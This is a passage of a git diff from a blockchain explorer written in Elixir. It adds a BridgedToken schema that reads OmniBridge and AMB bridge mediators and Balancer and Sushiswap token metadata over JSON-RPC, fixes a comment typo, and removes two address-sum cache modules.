95d89b41 = keccak256(symbol()) + @symbol_signature "0x95d89b41" + # keccak 256 from decimals() + @decimals_signature "0x313ce567" + # keccak 256 from totalSupply() + @total_supply_signature "0x18160ddd" + # keccak 256 from token0() + @token0_signature "0x0dfe1681" + # keccak 256 from token1() + @token1_signature "0xd21220a7" + + @derive {Poison.Encoder, + except: [ + :__meta__, + :home_token_contract_address, + :inserted_at, + :updated_at + ]} + + @derive {Jason.Encoder, + except: [ + :__meta__, + :home_token_contract_address, + :inserted_at, + :updated_at + ]} + + @typedoc """ + * `foreign_chain_id` - chain ID of a foreign token + * `foreign_token_contract_address_hash` - Foreign token's contract hash + * `home_token_contract_address` - The `t:Address.t/0` of the home token's contract + * `home_token_contract_address_hash` - Home token's contract hash foreign key + * `custom_metadata` - Arbitrary string with custom metadata. For instance, tokens/weights for Balance tokens + * `custom_cap` - Custom capitalization for this token + * `lp_token` - Boolean flag: LP token or not + * `type` - omni/amb + """ + @primary_key false + typed_schema "bridged_tokens" do + field(:foreign_chain_id, :decimal) + field(:foreign_token_contract_address_hash, Hash.Address) + field(:custom_metadata, :string) + field(:custom_cap, :decimal) + field(:lp_token, :boolean) + field(:type, :string) + field(:exchange_rate, :decimal) + + belongs_to( + :home_token_contract_address, + Token, + foreign_key: :home_token_contract_address_hash, + primary_key: true, + references: :contract_address_hash, + type: Hash.Address, + null: false + ) + + timestamps() + end + + @required_attrs ~w(home_token_contract_address_hash)a + @optional_attrs ~w(foreign_chain_id foreign_token_contract_address_hash custom_metadata custom_cap boolean type exchange_rate)a + + @doc false + def changeset(%BridgedToken{} = bridged_token, params \\ %{}) do + bridged_token + |> cast(params, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:home_token_contract_address) + |> unique_constraint(:home_token_contract_address_hash) + end + + def get_unprocessed_mainnet_lp_tokens_list do + query = + from(bt in BridgedToken, + where: bt.foreign_chain_id == ^1, + where: is_nil(bt.lp_token) or bt.lp_token == true, + select: bt + ) + + query + |> Repo.all() + end + + def necessary_envs_passed? do + config = Application.get_env(:explorer, __MODULE__) + eth_omni_bridge_mediator = config[:eth_omni_bridge_mediator] + bsc_omni_bridge_mediator = config[:bsc_omni_bridge_mediator] + poa_omni_bridge_mediator = config[:poa_omni_bridge_mediator] + + (eth_omni_bridge_mediator && eth_omni_bridge_mediator !== "") || + (bsc_omni_bridge_mediator && bsc_omni_bridge_mediator !== "") || + (poa_omni_bridge_mediator && poa_omni_bridge_mediator !== "") + end + + def enabled? do + Application.get_env(:explorer, __MODULE__)[:enabled] + end + + @doc """ + Returns a list of token addresses `t:Address.t/0`s that don't have an + bridged property revealed. + """ + def unprocessed_token_addresses_to_reveal_bridged_tokens do + query = + from(t in Token, + where: is_nil(t.bridged), + select: t.contract_address_hash + ) + + Repo.stream_reduce(query, [], &[&1 | &2]) + end + + @doc """ + Processes AMB tokens from mediators addresses provided + """ + def process_amb_tokens do + amb_bridge_mediators_var = Application.get_env(:explorer, __MODULE__)[:amb_bridge_mediators] + amb_bridge_mediators = (amb_bridge_mediators_var && String.split(amb_bridge_mediators_var, ",")) || [] + + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + + foreign_json_rpc = Application.get_env(:explorer, __MODULE__)[:foreign_json_rpc] + + eth_call_foreign_json_rpc_named_arguments = + compose_foreign_json_rpc_named_arguments(json_rpc_named_arguments, foreign_json_rpc) + + try do + amb_bridge_mediators + |> Enum.each(fn amb_bridge_mediator_hash -> + with {:ok, bridge_contract_hash_resp} <- + get_bridge_contract_hash(amb_bridge_mediator_hash, json_rpc_named_arguments), + bridge_contract_hash <- decode_contract_address_hash_response(bridge_contract_hash_resp), + {:ok, destination_chain_id_resp} <- + get_destination_chain_id(bridge_contract_hash, json_rpc_named_arguments), + foreign_chain_id <- decode_contract_integer_response(destination_chain_id_resp), + {:ok, home_token_contract_hash_resp} <- + get_erc677_token_hash(amb_bridge_mediator_hash, json_rpc_named_arguments), + home_token_contract_hash_string <- decode_contract_address_hash_response(home_token_contract_hash_resp), + {:ok, home_token_contract_hash} <- Chain.string_to_address_hash(home_token_contract_hash_string), + {:ok, foreign_mediator_contract_hash_resp} <- + get_foreign_mediator_contract_hash(amb_bridge_mediator_hash, json_rpc_named_arguments), + foreign_mediator_contract_hash <- + decode_contract_address_hash_response(foreign_mediator_contract_hash_resp), + {:ok, foreign_token_contract_hash_resp} <- + get_erc677_token_hash(foreign_mediator_contract_hash, eth_call_foreign_json_rpc_named_arguments), + foreign_token_contract_hash_string <- + decode_contract_address_hash_response(foreign_token_contract_hash_resp), + {:ok, foreign_token_contract_hash} <- Chain.string_to_address_hash(foreign_token_contract_hash_string) do + insert_bridged_token_metadata(home_token_contract_hash, %{ + foreign_chain_id: foreign_chain_id, + foreign_token_address_hash: foreign_token_contract_hash, + custom_metadata: nil, + custom_cap: nil, + lp_token: nil, + type: "amb" + }) + + set_token_bridged_status(home_token_contract_hash, true) + else + result -> + Logger.debug([ + "failed to fetch metadata for token bridged with AMB mediator #{amb_bridge_mediator_hash}", + inspect(result) + ]) + end + end) + rescue + _ -> + :ok + end + + :ok + end + + @doc """ + Fetches bridged tokens metadata from OmniBridge. + """ + def fetch_omni_bridged_tokens_metadata(token_addresses) do + Enum.each(token_addresses, fn token_address_hash -> + created_from_internal_transaction_success_query = + Address.creation_internal_transaction_query(token_address_hash) + + created_from_internal_transaction_success = + created_from_internal_transaction_success_query + |> Repo.one() + + created_from_transaction_query = + from( + t in Transaction, + where: t.created_contract_address_hash == ^token_address_hash + ) + + created_from_transaction = + created_from_transaction_query + |> Repo.all() + |> Enum.count() > 0 + + created_from_internal_transaction_query = + from( + it in InternalTransaction, + where: it.created_contract_address_hash == ^token_address_hash + ) + + created_from_internal_transaction = + created_from_internal_transaction_query + |> Repo.all() + |> Enum.count() > 0 + + cond do + created_from_transaction -> + set_token_bridged_status(token_address_hash, false) + + created_from_internal_transaction && !created_from_internal_transaction_success -> + set_token_bridged_status(token_address_hash, false) + + created_from_internal_transaction && created_from_internal_transaction_success -> + proceed_with_set_omni_status(token_address_hash, created_from_internal_transaction_success) + + true -> + :ok + end + end) + + :ok + end + + defp proceed_with_set_omni_status(token_address_hash, created_from_internal_transaction_success) do + {:ok, eth_omni_status} = + extract_omni_bridged_token_metadata_wrapper( + token_address_hash, + created_from_internal_transaction_success, + :eth_omni_bridge_mediator + ) + + {:ok, bsc_omni_status} = + if eth_omni_status do + {:ok, false} + else + extract_omni_bridged_token_metadata_wrapper( + token_address_hash, + created_from_internal_transaction_success, + :bsc_omni_bridge_mediator + ) + end + + {:ok, poa_omni_status} = + if eth_omni_status || bsc_omni_status do + {:ok, false} + else + extract_omni_bridged_token_metadata_wrapper( + token_address_hash, + created_from_internal_transaction_success, + :poa_omni_bridge_mediator + ) + end + + if !eth_omni_status && !bsc_omni_status && !poa_omni_status do + set_token_bridged_status(token_address_hash, false) + end + end + + defp extract_omni_bridged_token_metadata_wrapper( + token_address_hash, + created_from_internal_transaction_success, + mediator + ) do + omni_bridge_mediator = Application.get_env(:explorer, __MODULE__)[mediator] + %{transaction_hash: transaction_hash} = created_from_internal_transaction_success + + if omni_bridge_mediator && omni_bridge_mediator !== "" do + {:ok, omni_bridge_mediator_hash} = Chain.string_to_address_hash(omni_bridge_mediator) + + created_by_amb_mediator_query = + from( + it in InternalTransaction, + where: it.transaction_hash == ^transaction_hash, + where: it.to_address_hash == ^omni_bridge_mediator_hash + ) + + created_by_amb_mediator = + created_by_amb_mediator_query + |> Repo.all() + + if Enum.empty?(created_by_amb_mediator) do + {:ok, false} + else + extract_omni_bridged_token_metadata( + token_address_hash, + omni_bridge_mediator, + omni_bridge_mediator_hash + ) + + {:ok, true} + end + else + {:ok, false} + end + end + + defp extract_omni_bridged_token_metadata(token_address_hash, omni_bridge_mediator, omni_bridge_mediator_hash) do + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + + with {:ok, _} <- + get_token_interfaces_version_signature(token_address_hash, json_rpc_named_arguments), + {:ok, foreign_token_address_abi_encoded} <- + get_foreign_token_address(omni_bridge_mediator, token_address_hash, json_rpc_named_arguments), + {:ok, bridge_contract_hash_resp} <- + get_bridge_contract_hash(omni_bridge_mediator_hash, json_rpc_named_arguments) do + foreign_token_address_hash_string = decode_contract_address_hash_response(foreign_token_address_abi_encoded) + {:ok, foreign_token_address_hash} = Chain.string_to_address_hash(foreign_token_address_hash_string) + + multi_token_bridge_hash_string = decode_contract_address_hash_response(bridge_contract_hash_resp) + + {:ok, foreign_chain_id_abi_encoded} = + get_destination_chain_id(multi_token_bridge_hash_string, json_rpc_named_arguments) + + foreign_chain_id = decode_contract_integer_response(foreign_chain_id_abi_encoded) + + foreign_json_rpc = Application.get_env(:explorer, __MODULE__)[:foreign_json_rpc] + + custom_metadata = + if foreign_chain_id == 1 do + get_bridged_token_custom_metadata(foreign_token_address_hash, json_rpc_named_arguments, foreign_json_rpc) + else + nil + end + + bridged_token_metadata = %{ + foreign_chain_id: foreign_chain_id, + foreign_token_address_hash: foreign_token_address_hash, + custom_metadata: custom_metadata, + custom_cap: nil, + lp_token: nil, + type: "omni" + } + + insert_bridged_token_metadata(token_address_hash, bridged_token_metadata) + + set_token_bridged_status(token_address_hash, true) + end + end + + defp get_bridge_contract_hash(mediator_hash, json_rpc_named_arguments) do + # keccak 256 from bridgeContract() + bridge_contract_signature = "0xcd596583" + + perform_eth_call_request(bridge_contract_signature, mediator_hash, json_rpc_named_arguments) + end + + defp get_erc677_token_hash(mediator_hash, json_rpc_named_arguments) do + # keccak 256 from erc677token() + erc677_token_signature = "0x18d8f9c9" + + perform_eth_call_request(erc677_token_signature, mediator_hash, json_rpc_named_arguments) + end + + defp get_foreign_mediator_contract_hash(mediator_hash, json_rpc_named_arguments) do + # keccak 256 from mediatorContractOnOtherSide() + mediator_contract_on_other_side_signature = "0x871c0760" + + perform_eth_call_request(mediator_contract_on_other_side_signature, mediator_hash, json_rpc_named_arguments) + end + + defp get_destination_chain_id(bridge_contract_hash, json_rpc_named_arguments) do + # keccak 256 from destinationChainId() + destination_chain_id_signature = "0xb0750611" + + perform_eth_call_request(destination_chain_id_signature, bridge_contract_hash, json_rpc_named_arguments) + end + + defp get_token_interfaces_version_signature(token_address_hash, json_rpc_named_arguments) do + # keccak 256 from getTokenInterfacesVersion() + get_token_interfaces_version_signature = "0x859ba28c" + + perform_eth_call_request(get_token_interfaces_version_signature, token_address_hash, json_rpc_named_arguments) + end + + defp get_foreign_token_address(omni_bridge_mediator, token_address_hash, json_rpc_named_arguments) do + # keccak 256 from foreignTokenAddress(address) + foreign_token_address_signature = "0x47ac7d6a" + + token_address_hash_abi_encoded = + [token_address_hash.bytes] + |> TypeEncoder.encode([:address]) + |> Base.encode16() + + foreign_token_address_method = foreign_token_address_signature <> token_address_hash_abi_encoded + + perform_eth_call_request(foreign_token_address_method, omni_bridge_mediator, json_rpc_named_arguments) + end + + defp perform_eth_call_request(method, destination, json_rpc_named_arguments) + when not is_nil(json_rpc_named_arguments) do + method + |> Contract.eth_call_request(destination, 1, nil, nil) + |> json_rpc(json_rpc_named_arguments) + end + + defp perform_eth_call_request(_method, _destination, json_rpc_named_arguments) + when is_nil(json_rpc_named_arguments) do + :error + end + + def decode_contract_address_hash_response(resp) do + case resp do + "0x000000000000000000000000" <> address -> + "0x" <> address + + _ -> + nil + end + end + + def decode_contract_integer_response(resp) do + case resp do + "0x" <> integer_encoded -> + {integer_value, _} = Integer.parse(integer_encoded, 16) + integer_value + + _ -> + nil + end + end + + defp set_token_bridged_status(token_address_hash, status) do + case Repo.get(Token, token_address_hash) do + %{bridged: bridged} = target_token -> + if !bridged do + token = Changeset.change(target_token, bridged: status) + + Repo.update(token) + end + + _ -> + :ok + end + end + + defp insert_bridged_token_metadata(token_address_hash, %{ + foreign_chain_id: foreign_chain_id, + foreign_token_address_hash: foreign_token_address_hash, + custom_metadata: custom_metadata, + custom_cap: custom_cap, + lp_token: lp_token, + type: type + }) do + target_token = Repo.get(Token, token_address_hash) + + if target_token do + {:ok, _} = + Repo.insert( + %BridgedToken{ + home_token_contract_address_hash: token_address_hash, + foreign_chain_id: foreign_chain_id, + foreign_token_contract_address_hash: foreign_token_address_hash, + custom_metadata: custom_metadata, + custom_cap: custom_cap, + lp_token: lp_token, + type: type + }, + on_conflict: :nothing + ) + end + end + + # Fetches custom metadata for bridged tokens from the node. + # Currently, gets Balancer token composite tokens with their weights + # from foreign chain + defp get_bridged_token_custom_metadata(foreign_token_address_hash, json_rpc_named_arguments, foreign_json_rpc) + when not is_nil(foreign_json_rpc) and foreign_json_rpc !== "" do + eth_call_foreign_json_rpc_named_arguments = + compose_foreign_json_rpc_named_arguments(json_rpc_named_arguments, foreign_json_rpc) + + balancer_custom_metadata(foreign_token_address_hash, eth_call_foreign_json_rpc_named_arguments) || + sushiswap_custom_metadata(foreign_token_address_hash, eth_call_foreign_json_rpc_named_arguments) + end + + defp get_bridged_token_custom_metadata(_foreign_token_address_hash, _json_rpc_named_arguments, foreign_json_rpc) + when is_nil(foreign_json_rpc) do + nil + end + + defp get_bridged_token_custom_metadata(_foreign_token_address_hash, _json_rpc_named_arguments, foreign_json_rpc) + when foreign_json_rpc == "" do + nil + end + + defp balancer_custom_metadata(foreign_token_address_hash, eth_call_foreign_json_rpc_named_arguments) do + # keccak 256 from getCurrentTokens() + get_current_tokens_signature = "0xcc77828d" + + case get_current_tokens_signature + |> Contract.eth_call_request(foreign_token_address_hash, 1, nil, nil) + |> json_rpc(eth_call_foreign_json_rpc_named_arguments) do + {:ok, "0x"} -> + nil + + {:ok, "0x" <> balancer_current_tokens_encoded} -> + [balancer_current_tokens] = + try do + balancer_current_tokens_encoded + |> Base.decode16!(case: :mixed) + |> TypeDecoder.decode_raw([{:array, :address}]) + rescue + _ -> [] + end + + bridged_token_custom_metadata = + parse_bridged_token_custom_metadata( + balancer_current_tokens, + eth_call_foreign_json_rpc_named_arguments, + foreign_token_address_hash + ) + + tokens_and_weights(bridged_token_custom_metadata) + + _ -> + nil + end + end + + defp tokens_and_weights(bridged_token_custom_metadata) do + with true <- is_map(bridged_token_custom_metadata), + tokens = Map.get(bridged_token_custom_metadata, :tokens), + weights = Map.get(bridged_token_custom_metadata, :weights), + false <- tokens == "" do + if weights !== "", do: "#{tokens} #{weights}", else: tokens + else + _ -> nil + end + end + + defp sushiswap_custom_metadata(foreign_token_address_hash, eth_call_foreign_json_rpc_named_arguments) do + with {:ok, "0x" <> token0_encoded} <- + @token0_signature + |> Contract.eth_call_request(foreign_token_address_hash, 1, nil, nil) + |> json_rpc(eth_call_foreign_json_rpc_named_arguments), + {:ok, "0x" <> token1_encoded} <- + @token1_signature + |> Contract.eth_call_request(foreign_token_address_hash, 2, nil, nil) + |> json_rpc(eth_call_foreign_json_rpc_named_arguments), + token0_hash <- parse_contract_response(token0_encoded, :address), + token1_hash <- parse_contract_response(token1_encoded, :address), + {:ok, token0_hash} <- Hash.Address.cast(token0_hash), + {:ok, token1_hash} <- Hash.Address.cast(token1_hash), + token0_hash_str <- to_string(token0_hash), + token1_hash_str <- to_string(token1_hash), + {:ok, "0x" <> token0_name_encoded} <- + @name_signature + |> Contract.eth_call_request(token0_hash_str, 1, nil, nil) + |> json_rpc(eth_call_foreign_json_rpc_named_arguments), + {:ok, "0x" <> token1_name_encoded} <- + @name_signature + |> Contract.eth_call_request(token1_hash_str, 2, nil, nil) + |> json_rpc(eth_call_foreign_json_rpc_named_arguments), + {:ok, "0x" <> token0_symbol_encoded} <- + @symbol_signature + |> Contract.eth_call_request(token0_hash_str, 1, nil, nil) + |> json_rpc(eth_call_foreign_json_rpc_named_arguments), + {:ok, "0x" <> token1_symbol_encoded} <- + @symbol_signature + |> Contract.eth_call_request(token1_hash_str, 2, nil, nil) + |> json_rpc(eth_call_foreign_json_rpc_named_arguments) do + token0_name = parse_contract_response(token0_name_encoded, :string, {:bytes, 32}) + token1_name = parse_contract_response(token1_name_encoded, :string, {:bytes, 32}) + token0_symbol = parse_contract_response(token0_symbol_encoded, :string, {:bytes, 32}) + token1_symbol = parse_contract_response(token1_symbol_encoded, :string, {:bytes, 32}) + + "#{token0_name}/#{token1_name} (#{token0_symbol}/#{token1_symbol})" + else + _ -> + nil + end + end + + def calc_lp_tokens_total_liquidity do + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + foreign_json_rpc = Application.get_env(:explorer, __MODULE__)[:foreign_json_rpc] + bridged_mainnet_tokens_list = BridgedToken.get_unprocessed_mainnet_lp_tokens_list() + + Enum.each(bridged_mainnet_tokens_list, fn bridged_token -> + case calc_sushiswap_lp_tokens_cap( + bridged_token.home_token_contract_address_hash, + bridged_token.foreign_token_contract_address_hash, + json_rpc_named_arguments, + foreign_json_rpc + ) do + {:ok, new_custom_cap} -> + bridged_token + |> Changeset.change(%{custom_cap: new_custom_cap, lp_token: true}) + |> Repo.update() + + {:error, :not_lp_token} -> + bridged_token + |> Changeset.change(%{lp_token: false}) + |> Repo.update() + end + end) + + Logger.debug(fn -> "Total liquidity fetched for LP tokens" end) + end + + defp calc_sushiswap_lp_tokens_cap( + home_token_contract_address_hash, + foreign_token_address_hash, + json_rpc_named_arguments, + foreign_json_rpc + ) do + eth_call_foreign_json_rpc_named_arguments = + compose_foreign_json_rpc_named_arguments(json_rpc_named_arguments, foreign_json_rpc) + + # keccak 256 from getReserves() + get_reserves_signature = "0x0902f1ac" + + with {:ok, "0x" <> get_reserves_encoded} <- + get_reserves_signature + |> Contract.eth_call_request(foreign_token_address_hash, 1, nil, nil) + |> json_rpc(eth_call_foreign_json_rpc_named_arguments), + {:ok, "0x" <> home_token_total_supply_encoded} <- + @total_supply_signature + |> Contract.eth_call_request(home_token_contract_address_hash, 1, nil, nil) + |> json_rpc(json_rpc_named_arguments), + [reserve0, reserve1, _] <- + parse_contract_response(get_reserves_encoded, [{:uint, 112}, {:uint, 112}, {:uint, 32}]), + {:ok, token0_cap_usd} <- + get_lp_token_cap( + home_token_total_supply_encoded, + @token0_signature, + reserve0, + foreign_token_address_hash, + eth_call_foreign_json_rpc_named_arguments + ), + {:ok, token1_cap_usd} <- + get_lp_token_cap( + home_token_total_supply_encoded, + @token1_signature, + reserve1, + foreign_token_address_hash, + eth_call_foreign_json_rpc_named_arguments + ) do + total_lp_cap = Decimal.add(token0_cap_usd, token1_cap_usd) + {:ok, total_lp_cap} + else + _ -> + {:error, :not_lp_token} + end + end + + defp get_lp_token_cap( + home_token_total_supply_encoded, + token_signature, + reserve, + foreign_token_address_hash, + eth_call_foreign_json_rpc_named_arguments + ) do + home_token_total_supply = + home_token_total_supply_encoded + |> parse_contract_response({:uint, 256}) + |> Decimal.new() + + case token_signature + |> Contract.eth_call_request(foreign_token_address_hash, 1, nil, nil) + |> json_rpc(eth_call_foreign_json_rpc_named_arguments) do + {:ok, "0x" <> token_encoded} -> + with token_hash <- parse_contract_response(token_encoded, :address), + {:ok, token_hash} <- Hash.Address.cast(token_hash), + token_hash_str <- to_string(token_hash), + {:ok, "0x" <> token_decimals_encoded} <- + @decimals_signature + |> Contract.eth_call_request(token_hash_str, 1, nil, nil) + |> json_rpc(eth_call_foreign_json_rpc_named_arguments), + {:ok, "0x" <> foreign_token_total_supply_encoded} <- + @total_supply_signature + |> Contract.eth_call_request(foreign_token_address_hash, 1, nil, nil) + |> json_rpc(eth_call_foreign_json_rpc_named_arguments) do + token_decimals = parse_contract_response(token_decimals_encoded, {:uint, 256}) + + foreign_token_total_supply = + foreign_token_total_supply_encoded + |> parse_contract_response({:uint, 256}) + |> Decimal.new() + + token_decimals_divider = + 10 + |> :math.pow(token_decimals) + |> Decimal.from_float() + + token_cap = + reserve + |> Decimal.div(foreign_token_total_supply) + |> Decimal.mult(home_token_total_supply) + |> Decimal.div(token_decimals_divider) + + token = Token.get_by_contract_address_hash(token_hash_str, []) + + token_cap_usd = + if token && token.fiat_value do + token.fiat_value + |> Decimal.mult(token_cap) + else + 0 + end + + {:ok, token_cap_usd} + else + _ -> :error + end + end + end + + defp parse_contract_response(abi_encoded_value, types) when is_list(types) do + values = + try do + abi_encoded_value + |> Base.decode16!(case: :mixed) + |> TypeDecoder.decode_raw(types) + rescue + _ -> [nil] + end + + values + end + + defp parse_contract_response(abi_encoded_value, type, emergency_type \\ nil) do + [value] = + try do + [res] = decode_contract_response(abi_encoded_value, type) + + [convert_binary_to_string(res, type)] + rescue + _ -> + if emergency_type do + try do + [res] = decode_contract_response(abi_encoded_value, emergency_type) + + [convert_binary_to_string(res, emergency_type)] + rescue + _ -> + [nil] + end + else + [nil] + end + end + + value + end + + defp decode_contract_response(abi_encoded_value, type) do + abi_encoded_value + |> Base.decode16!(case: :mixed) + |> TypeDecoder.decode_raw([type]) + end + + defp convert_binary_to_string(binary, type) do + case type do + {:bytes, _} -> + binary_to_string(binary) + + _ -> + binary + end + end + + defp compose_foreign_json_rpc_named_arguments(json_rpc_named_arguments, foreign_json_rpc) + when foreign_json_rpc != "" do + {_, eth_call_foreign_json_rpc_named_arguments} = + Keyword.get_and_update(json_rpc_named_arguments, :transport_options, fn transport_options -> + {_, updated_transport_options} = + update_transport_options_set_foreign_json_rpc(transport_options, foreign_json_rpc) + + {transport_options, updated_transport_options} + end) + + eth_call_foreign_json_rpc_named_arguments + end + + defp compose_foreign_json_rpc_named_arguments(_json_rpc_named_arguments, foreign_json_rpc) + when foreign_json_rpc == "" do + nil + end + + defp compose_foreign_json_rpc_named_arguments(json_rpc_named_arguments, _foreign_json_rpc) + when is_nil(json_rpc_named_arguments) do + nil + end + + defp update_transport_options_set_foreign_json_rpc(transport_options, foreign_json_rpc) do + {_, updated_transport_options} = + Keyword.get_and_update(transport_options, :method_to_url, fn method_to_url -> + {_, updated_method_to_url} = + Keyword.get_and_update(method_to_url, :eth_call, fn eth_call -> + {eth_call, :eth_call} + end) + + {method_to_url, updated_method_to_url} + end) + + Keyword.get_and_update(updated_transport_options, :eth_call_urls, fn eth_call_urls -> + {eth_call_urls, [foreign_json_rpc]} + end) + end + + defp parse_bridged_token_custom_metadata( + balancer_current_tokens, + eth_call_foreign_json_rpc_named_arguments, + foreign_token_address_hash + ) do + balancer_current_tokens + |> Enum.reduce(%{:tokens => "", :weights => ""}, fn balancer_token_bytes, balancer_tokens_weights -> + balancer_token_hash_without_0x = + balancer_token_bytes + |> Base.encode16(case: :lower) + + balancer_token_hash = "0x" <> balancer_token_hash_without_0x + + case @symbol_signature + |> Contract.eth_call_request(balancer_token_hash, 1, nil, nil) + |> json_rpc(eth_call_foreign_json_rpc_named_arguments) do + {:ok, "0x" <> symbol_encoded} -> + [symbol] = + symbol_encoded + |> Base.decode16!(case: :mixed) + |> TypeDecoder.decode_raw([:string]) + + # f1b8a9b7 = keccak256(getNormalizedWeight(address)) + get_normalized_weight_signature = "0xf1b8a9b7" + + get_normalized_weight_arg_abi_encoded = + [balancer_token_bytes] + |> TypeEncoder.encode([:address]) + |> Base.encode16(case: :lower) + + get_normalized_weight_abi_encoded = get_normalized_weight_signature <> get_normalized_weight_arg_abi_encoded + + get_normalized_weight_resp = + get_normalized_weight_abi_encoded + |> Contract.eth_call_request(foreign_token_address_hash, 1, nil, nil) + |> json_rpc(eth_call_foreign_json_rpc_named_arguments) + + parse_balancer_weights(get_normalized_weight_resp, balancer_tokens_weights, symbol) + + _ -> + nil + end + end) + end + + defp parse_balancer_weights(get_normalized_weight_resp, balancer_tokens_weights, symbol) do + case get_normalized_weight_resp do + {:ok, "0x" <> normalized_weight_encoded} -> + [normalized_weight] = + try do + normalized_weight_encoded + |> Base.decode16!(case: :mixed) + |> TypeDecoder.decode_raw([{:uint, 256}]) + rescue + _ -> + [] + end + + normalized_weight_to_100_perc = calc_normalized_weight_to_100_perc(normalized_weight) + + normalized_weight_in_perc = + normalized_weight_to_100_perc + |> div(1_000_000_000_000_000_000) + + current_tokens = Map.get(balancer_tokens_weights, :tokens) + current_weights = Map.get(balancer_tokens_weights, :weights) + + tokens_value = combine_tokens_value(current_tokens, symbol) + weights_value = combine_weights_value(current_weights, normalized_weight_in_perc) + + %{:tokens => tokens_value, :weights => weights_value} + + _ -> + nil + end + end + + defp calc_normalized_weight_to_100_perc(normalized_weight) do + if normalized_weight, do: 100 * normalized_weight, else: 0 + end + + defp combine_tokens_value(current_tokens, symbol) do + if current_tokens == "", do: symbol, else: current_tokens <> "/" <> symbol + end + + defp combine_weights_value(current_weights, normalized_weight_in_perc) do + if current_weights == "", + do: "#{normalized_weight_in_perc}", + else: current_weights <> "/" <> "#{normalized_weight_in_perc}" + end + + defp fetch_top_bridged_tokens(chain_ids, paging_options, filter, sorting, options) do + bridged_tokens_query = + __MODULE__ + |> apply_chain_ids_filter(chain_ids) + + base_query = + from(t in Token.base_token_query(nil, sorting), + right_join: bt in subquery(bridged_tokens_query), + on: t.contract_address_hash == bt.home_token_contract_address_hash, + where: t.total_supply > ^0, + where: t.bridged, + select: {t, bt}, + preload: [:contract_address, ^reputation_association()] + ) + + base_query_with_paging = + base_query + |> SortingHelper.page_with_sorting(paging_options, sorting, Token.default_sorting()) + |> limit(^paging_options.page_size) + + query = + if filter && filter !== "" do + case Search.prepare_search_term(filter) do + {:some, filter_term} -> + base_query_with_paging + |> where(fragment("to_tsvector('english', symbol || ' ' || name) @@ to_tsquery(?)", ^filter_term)) + + _ -> + base_query_with_paging + end + else + base_query_with_paging + end + + query + |> Chain.select_repo(options).all() + end + + @spec list_top_bridged_tokens(String.t()) :: [{Token.t(), BridgedToken.t()}] + def list_top_bridged_tokens(filter, options \\ []) do + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + chain_ids = Keyword.get(options, :chain_ids, nil) + sorting = Keyword.get(options, :sorting, []) + + fetch_top_bridged_tokens(chain_ids, paging_options, filter, sorting, options) + end + + defp apply_chain_ids_filter(query, chain_ids) when chain_ids in [[], nil], do: query + + defp apply_chain_ids_filter(query, chain_ids) when is_list(chain_ids), + do: from(bt in query, where: bt.foreign_chain_id in ^chain_ids) + + def binary_to_string(binary) do + binary + |> :binary.bin_to_list() + |> Enum.filter(fn x -> x != 0 end) + |> List.to_string() + end + + def token_display_name_based_on_bridge_destination(name, foreign_chain_id) do + cond do + Decimal.compare(foreign_chain_id, 1) == :eq -> + name + |> String.replace("on xDai", "from Ethereum") + + Decimal.compare(foreign_chain_id, 56) == :eq -> + name + |> String.replace("on xDai", "from BSC") + + true -> + name + end + end + + def token_display_name_based_on_bridge_destination(name, symbol, foreign_chain_id) do + token_name = + cond do + Decimal.compare(foreign_chain_id, 1) == :eq -> + name + |> String.replace("on xDai", "from Ethereum") + + Decimal.compare(foreign_chain_id, 56) == :eq -> + name + |> String.replace("on xDai", "from BSC") + + true -> + name + end + + "#{token_name} (#{symbol})" + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/accounts.ex b/apps/explorer/lib/explorer/chain/cache/accounts.ex index 523bd44877cc..f24340548467 100644 --- a/apps/explorer/lib/explorer/chain/cache/accounts.ex +++ b/apps/explorer/lib/explorer/chain/cache/accounts.ex @@ -34,7 +34,7 @@ defmodule Explorer.Chain.Cache.Accounts do def drop([]), do: :ok def drop(addresses) when is_list(addresses) do - # This has to be used by the Indexer insead of `update`. + # This has to be used by the Indexer instead of `update`. # The reason being that addresses already in the cache can change their balance # value and removing or updating them will result into a potentially invalid # cache status, that would not even get corrected with time. diff --git a/apps/explorer/lib/explorer/chain/cache/address_sum.ex b/apps/explorer/lib/explorer/chain/cache/address_sum.ex deleted file mode 100644 index 01bb57fa65e4..000000000000 --- a/apps/explorer/lib/explorer/chain/cache/address_sum.ex +++ /dev/null @@ -1,53 +0,0 @@ -defmodule Explorer.Chain.Cache.AddressSum do - @moduledoc """ - Cache for address sum. - """ - - require Logger - - use Explorer.Chain.MapCache, - name: :address_sum, - key: :sum, - key: :async_task, - ttl_check_interval: Application.get_env(:explorer, __MODULE__)[:ttl_check_interval], - global_ttl: Application.get_env(:explorer, __MODULE__)[:global_ttl], - callback: &async_task_on_deletion(&1) - - alias Explorer.Etherscan - - defp handle_fallback(:sum) do - # This will get the task PID if one exists and launch a new task if not - # See next `handle_fallback` definition - get_async_task() - - {:return, Decimal.new(0)} - end - - defp handle_fallback(:async_task) do - # If this gets called it means an async task was requested, but none exists - # so a new one needs to be launched - {:ok, task} = - Task.start(fn -> - try do - result = Etherscan.fetch_sum_coin_total_supply() - - set_sum(result) - rescue - e -> - Logger.debug([ - "Coudn't update address sum test #{inspect(e)}" - ]) - end - - set_async_task(nil) - end) - - {:update, task} - end - - # By setting this as a `callback` an async task will be started each time the - # `sum` expires (unless there is one already running) - defp async_task_on_deletion({:delete, _, :sum}), do: get_async_task() - - defp async_task_on_deletion(_data), do: nil -end diff --git a/apps/explorer/lib/explorer/chain/cache/address_sum_minus_burnt.ex b/apps/explorer/lib/explorer/chain/cache/address_sum_minus_burnt.ex deleted file mode 100644 index a8494d969082..000000000000 --- a/apps/explorer/lib/explorer/chain/cache/address_sum_minus_burnt.ex +++ /dev/null @@ -1,60 +0,0 @@ -defmodule Explorer.Chain.Cache.AddressSumMinusBurnt do - @moduledoc """ - Cache for address sum minus burnt number. - """ - - require Logger - - use Explorer.Chain.MapCache, - name: :address_sum_minus_burnt, - key: :sum_minus_burnt, - key: :async_task, - ttl_check_interval: Application.get_env(:explorer, __MODULE__)[:ttl_check_interval], - global_ttl: Application.get_env(:explorer, __MODULE__)[:global_ttl], - callback: &async_task_on_deletion(&1) - - alias Explorer.{Chain, Etherscan} - - defp handle_fallback(:sum_minus_burnt) do - # This will get the task PID if one exists and launch a new task if not - # See next `handle_fallback` definition - get_async_task() - - {:return, Decimal.new(0)} - end - - 